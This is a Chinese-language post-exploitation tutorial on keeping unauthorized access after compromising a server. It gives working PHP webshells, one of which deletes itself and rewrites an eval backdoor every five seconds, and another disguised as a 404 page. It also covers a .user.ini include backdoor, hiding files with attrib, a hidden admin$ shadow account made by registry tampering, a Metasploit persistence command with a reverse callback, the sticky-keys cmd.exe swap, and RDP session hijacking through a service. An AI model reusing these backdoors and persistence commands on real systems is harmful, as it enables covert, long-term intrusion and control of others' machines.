后渗透之权限维持
前言
在getshell后,往往因为内网渗透的需要不得不长时间对目标进行持续威胁(简称APT)。因此需要进行权限维持,隐藏后门。
web后门
隐藏文件
attrib +s +h test.php 隐藏test.php文件
attrib命令 用于修改文件属性
+s 设置系统文件属性
+h 设置隐藏属性
在文件夹下无法看到test.php,但仍然可以访问。
image.png image.png
不死马
<?php
set_time_limit(0);//程序执行时间
ignore_user_abort(1);//关掉终端后脚本仍然运行
unlink(__FILE__);//文件完整名
while(1){
file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
$b=array_keys($a)[0];
eval($b);?>');
sleep(5);
}
?>
该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。
404页面隐藏后门
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
function func(){
return @$_REQUEST["x"];
}
preg_replace("/test/e",func(),"i am test");
header('HTTP/1.1 404 Not Found');
?>
image.png
.user.ini文件构成的PHP后门
.user.ini 文件是一个自定义的php.ini文件,每次执行文件都会首先在目录下寻找INI问文件,而.user.ini文件是一个动态加载的文件,不需要重启服务器中间件就可被加载。因此,便可以构造一个后门。
使用本地的phpstudy进行测试
使用的是nginx容器,测试apache没有成功
auto_append_file 包含要执行的文件
user_ini.cache_ttl 重新读取用户 INI 文件的间隔时间
echo.php 为正常php文件
1.gif 为webshell
image.png
image.png
详情参考
.user.ini文件构成的PHP后门
windows后门
建立影子账户
以server 2008为例
regedit 打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM\,默认只有system可以打开。
image.png
image.png
右键-权限-选中Administrators,允许完全控制。刷新注册表
新建一个特殊的账户
net user admin$ 1234qwer.. /add
net localgroup administrators admin$ /add
再次查看注册表
image.png
导出admin$、000001F4、000001F5分别为1.reg、2.reg、3.reg
将2.reg中键F的值替换成3.reg中键F的值。
命令删除特殊用户
net user admin$ /del
导入reg文件
regedit /s 1.reg
regedit /s 2.reg
看一下效果
image.png
image.png
详情参考
Windows系统的帐户隐藏
metasploit权限维持
必须在system权限下操作该命令
run persistence -U -i 10 -p 4444 -r 172.16.222.192
-X 自启动
-i 目标回连时间
-p 设置反向连接的端口
-r 设置反向连接的ip地址
效果图
详情参考
Metasploit 「控制持久化」权限维持
shift后门
image.png同样是在system权限下操作
takeown /f c:\windows\system32\sethc.* /a /r /d y
cacls c:\windows\system32\sethc.exe /T /E /G system:F
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y
sethc.exe 是windows的粘滞键。
takeown命令重新分配文件所有权的方式允许管理员重新获取。
calcs命令为修改文件夹的权限
使用rdesktop工具测试一下
rdesktop 172.16.222.192
image.png
详情参考
Windows服务器安装shift后门
扩展
远程桌面会话劫持
在使用一个账户登录的情况下,如果知道另一账户的密码,可切换到该用户。
而RDP劫持即在不知道另一账户密码的情况下进行切换用户登录。
query user
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
net start sesshijack
query user 查看服务器用户会话信息
sc create sesshijack 创建一个sesshijack服务
net start sesshijack 开启服务
image.png
image.png
详情参考
RDP hijacking
注意有墙
以上就是总结的一些技巧和方法。期待在实战中检测。